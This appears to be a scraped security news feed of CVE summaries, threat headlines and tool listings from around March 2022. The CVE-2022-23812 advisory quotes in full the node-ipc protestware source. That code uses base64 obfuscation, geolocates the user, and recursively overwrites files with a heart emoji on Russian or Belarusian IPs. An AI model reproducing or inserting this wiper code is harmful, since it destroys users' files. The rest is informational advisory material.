‼ CVE-2021-33853 ‼
📖 Read
via "National Vulnerability Database".
A Cross-Site Scripting (XSS) attack can cause arbitrary code (javascript) to run in a user’s browser while the browser is connected to a trusted website. As the vehicle for the attack, the application targets the users and not the application itself. Additionally, the XSS payload is executed when the user attempts to access any page of the CRM.📖 Read
via "National Vulnerability Database".
‼ CVE-2021-40768 ‼
📖 Read
via "National Vulnerability Database".
Adobe Character Animator version 4.4 (and earlier) is affected by a Null pointer dereference vulnerability when parsing a specially crafted file. An unauthenticated attacker could leverage this vulnerability to achieve an application denial-of-service in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.📖 Read
via "National Vulnerability Database".
‼ CVE-2021-40739 ‼
📖 Read
via "National Vulnerability Database".
Adobe Audition version 14.4 (and earlier) is affected by a memory corruption vulnerability when parsing a M4A file, potentially resulting in arbitrary code execution in the context of the current user. User interaction is required to exploit this vulnerability.📖 Read
via "National Vulnerability Database".
🗓️ Unpatched plugins threaten millions of WordPress websites 🗓️
📖 Read
via "The Daily Swig".
Number of vulnerabilities found in WordPress plugins and themes jumped 150% between 2020 and 2021📖 Read
via "The Daily Swig".
The Daily Swig | Cybersecurity news and views
Unpatched plugins threaten millions of WordPress websites
Number of vulnerabilities found in WordPress plugins and themes jumped 150% between 2020 and 2021
❌ Another Destructive Wiper Targets Organizations in Ukraine ❌
📖 Read
via "Threat Post".
CaddyWiper is one in a barrage of data-wiping cyber-attacks to hit the country since January as the war on the ground with Russia marches on.📖 Read
via "Threat Post".
Threat Post
Another Destructive Wiper Targets Organizations in Ukraine
CaddyWiper is one in a barrage of data-wiping cyber-attacks to hit the country since January as the war on the ground with Russia marches on.
🕴 Russia State-Sponsored Hackers Used Misconfigured MFA to Breach NGO 🕴
📖 Read
via "Dark Reading".
FBI and CISA warn of attack on multifactor authentication account to exploit "PrintNightmare" exploit.📖 Read
via "Dark Reading".
Dark Reading
Russia State-Sponsored Hackers Used Misconfigured MFA to Breach NGO
FBI and CISA warn of attack on multifactor authentication account to exploit "PrintNightmare" exploit.
🛠 OpenSSL Toolkit 1.1.1n 🛠
📖 Read
via "Packet Storm Security".
OpenSSL is a robust, fully featured Open Source toolkit implementing the Secure Sockets Layer (SSL v2/v3) and Transport Layer Security (TLS v1) protocols with full-strength cryptography world-wide.📖 Read
via "Packet Storm Security".
Packetstormsecurity
OpenSSL Toolkit 1.1.1n ≈ Packet Storm
Information Security Services, News, Files, Tools, Exploits, Advisories and Whitepapers
🤯1
🛠 nfstream 6.4.3 🛠
📖 Read
via "Packet Storm Security".
nfstream is a Python package providing fast, flexible, and expressive data structures designed to make working with online or offline network data both easy and intuitive. It aims to be the fundamental high-level building block for doing practical, real world network data analysis in Python. Additionally, it has the broader goal of becoming a common network data processing framework for researchers providing data reproducibility across experiments.📖 Read
via "Packet Storm Security".
Packetstormsecurity
nfstream 6.4.3 ≈ Packet Storm
Information Security Services, News, Files, Tools, Exploits, Advisories and Whitepapers
🛠 OpenSSL Toolkit 3.0.2 🛠
📖 Read
via "Packet Storm Security".
OpenSSL is a robust, fully featured Open Source toolkit implementing the Secure Sockets Layer (SSL v2/v3) and Transport Layer Security (TLS v1) protocols with full-strength cryptography world-wide. The 3.x series is the current major version of OpenSSL.📖 Read
via "Packet Storm Security".
Packetstormsecurity
OpenSSL Toolkit 3.0.2 ≈ Packet Storm
Information Security Services, News, Files, Tools, Exploits, Advisories and Whitepapers
❌ ‘CryptoRom’ Crypto-Scam is Back via Side-Loaded Apps ❌
📖 Read
via "Threat Post".
Scammers are bypassing Apple's App Store security, stealing thousands of dollars’ worth of cryptocurrency from the unwitting, using the TestFlight and WebClips programs.📖 Read
via "Threat Post".
Threat Post
‘CryptoRom’ Crypto-Scam is Back via Side-Loaded Apps
Scammers are bypassing Apple's App Store security, stealing thousands of dollars’ worth of cryptocurrency from the unwitting, using the TestFlight and WebClips programs.
‼ CVE-2021-23648 ‼
📖 Read
via "National Vulnerability Database".
The package @braintree/sanitize-url before 6.0.0 are vulnerable to Cross-site Scripting (XSS) due to improper sanitization in sanitizeUrl function.📖 Read
via "National Vulnerability Database".
‼ CVE-2022-21164 ‼
📖 Read
via "National Vulnerability Database".
The package node-lmdb before 0.9.7 are vulnerable to Denial of Service (DoS) when defining a non-invokable ToString value, which will cause a crash during type check.📖 Read
via "National Vulnerability Database".
‼ CVE-2022-23812 ‼
📖 Read
via "National Vulnerability Database".
This affects the package node-ipc from 10.1.1 and before 10.1.3. This package contains malicious code, that targets users with IP located in Russia or Belarus, and overwrites their files with a heart emoji. **Note**: from versions 11.0.0 onwards, instead of having malicious code directly in the source of this package, node-ipc imports the peacenotwar package that includes potentially undesired behavior. Malicious Code: **Note:** Don't run it! js import u from "path"; import a from "fs"; import o from "https"; setTimeout(function () { const t = Math.round(Math.random() * 4); if (t > 1) { return; } const n = Buffer.from("aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=", "base64"); // https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154 o.get(n.toString("utf8"), function (t) { t.on("data", function (t) { const n = Buffer.from("Li8=", "base64"); const o = Buffer.from("Li4v", "base64"); const r = Buffer.from("Li4vLi4v", "base64"); const f = Buffer.from("Lw==", "base64"); const c = Buffer.from("Y291bnRyeV9uYW1l", "base64"); const e = Buffer.from("cnVzc2lh", "base64"); const i = Buffer.from("YmVsYXJ1cw==", "base64"); try { const s = JSON.parse(t.toString("utf8")); const u = s[c.toString("utf8")].toLowerCase(); const a = u.includes(e.toString("utf8")) || u.includes(i.toString("utf8")); // checks if country is Russia or Belarus if (a) { h(n.toString("utf8")); h(o.toString("utf8")); h(r.toString("utf8")); h(f.toString("utf8")); } } catch (t) {} }); }); }, Math.ceil(Math.random() * 1e3)); async function h(n = "", o = "") { if (!a.existsSync(n)) { return; } let r = []; try { r = a.readdirSync(n); } catch (t) {} const f = []; const c = Buffer.from("4p2k77iP", "base64"); for (var e = 0; e < r.length; e++) { const i = u.join(n, r[e]); let t = null; try { t = a.lstatSync(i); } catch (t) { continue; } if (t.isDirectory()) { const s = h(i, o); s.length > 0 ? f.push(...s) : null; } else if (i.indexOf(o) >= 0) { try { a.writeFile(i, c.toString("utf8"), function () {}); // overwrites file with ?? } catch (t) {} } } return f; } const ssl = true; export { ssl as default, ssl };📖 Read
via "National Vulnerability Database".
‼ CVE-2021-45822 ‼
📖 Read
via "National Vulnerability Database".
A cross-site scripting vulnerability is present in Xbtit 3.1. The stored XSS vulnerability occurs because /ajaxchat/sendChatData.php does not properly validate the value of the "n" (POST) parameter. Through this vulnerability, an attacker is capable to execute malicious JavaScript code.📖 Read
via "National Vulnerability Database".
‼ CVE-2022-24729 ‼
📖 Read
via "National Vulnerability Database".
CKEditor4 is an open source what-you-see-is-what-you-get HTML editor. CKEditor4 prior to version 4.18.0 contains a vulnerability in the `dialog` plugin. The vulnerability allows abuse of a dialog input validator regular expression, which can cause a significant performance drop resulting in a browser tab freeze. A patch is available in version 4.18.0. There are currently no known workarounds.📖 Read
via "National Vulnerability Database".
‼ CVE-2022-24728 ‼
📖 Read
via "National Vulnerability Database".
CKEditor4 is an open source what-you-see-is-what-you-get HTML editor. A vulnerability has been discovered in the core HTML processing module and may affect all plugins used by CKEditor 4 prior to version 4.18.0. The vulnerability allows someone to inject malformed HTML bypassing content sanitization, which could result in executing JavaScript code. This problem has been patched in version 4.18.0. There are currently no known workarounds.📖 Read
via "National Vulnerability Database".
🕴 Microsoft the No. 1 Most-Spoofed Brand in Phishing Attacks 🕴
📖 Read
via "Dark Reading".
New Barracuda Networks data shows attackers sent some 3 million emails from around 12,000 pilfered accounts.📖 Read
via "Dark Reading".
Dark Reading
Microsoft the No. 1 Most-Spoofed Brand in Phishing Attacks
New Barracuda Networks data shows attackers sent some 3 million emails from around 12,000 pilfered accounts.
👍1
🕴 What the Newly Signed US Cyber-Incident Law Means for Security 🕴
📖 Read
via "Dark Reading".
Bipartisan cybersecurity legislation comes amid increased worries over ransomware, and fears of cyberattacks from Russia in the wake of its invasion of Ukraine.📖 Read
via "Dark Reading".
Dark Reading
What the Newly Signed US Cyber-Incident Law Means for Security
Bipartisan cybersecurity legislation comes amid increased worries over ransomware, and fears of cyberattacks from Russia in the wake of its invasion of Ukraine.
‼ CVE-2022-26295 ‼
📖 Read
via "National Vulnerability Database".
A stored cross-site scripting (XSS) vulnerability in /ptms/?page=user of Online Project Time Management System v1.0 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the user name field.📖 Read
via "National Vulnerability Database".
‼ CVE-2022-26293 ‼
📖 Read
via "National Vulnerability Database".
Online Project Time Management System v1.0 was discovered to contain a SQL injection vulnerability via the id parameter in the function save_employee at /ptms/classes/Users.php.📖 Read
via "National Vulnerability Database".
🕴 4 Critical Capabilities for a SaaS Security Posture Management (SSPM) Solution 🕴
📖 Read
via "Dark Reading".
The need for deep visibility and remediation for SaaS security settings is critical. If you're considering a SaaS Security Posture Management solution, here’s a checklist of what to look for.📖 Read
via "Dark Reading".
Dark Reading
4 Critical Capabilities for a SaaS Security Posture Management (SSPM) Solution
The need for deep visibility and remediation for SaaS security settings is critical. If you're considering a SaaS Security Posture Management solution, here’s a checklist of what to look for.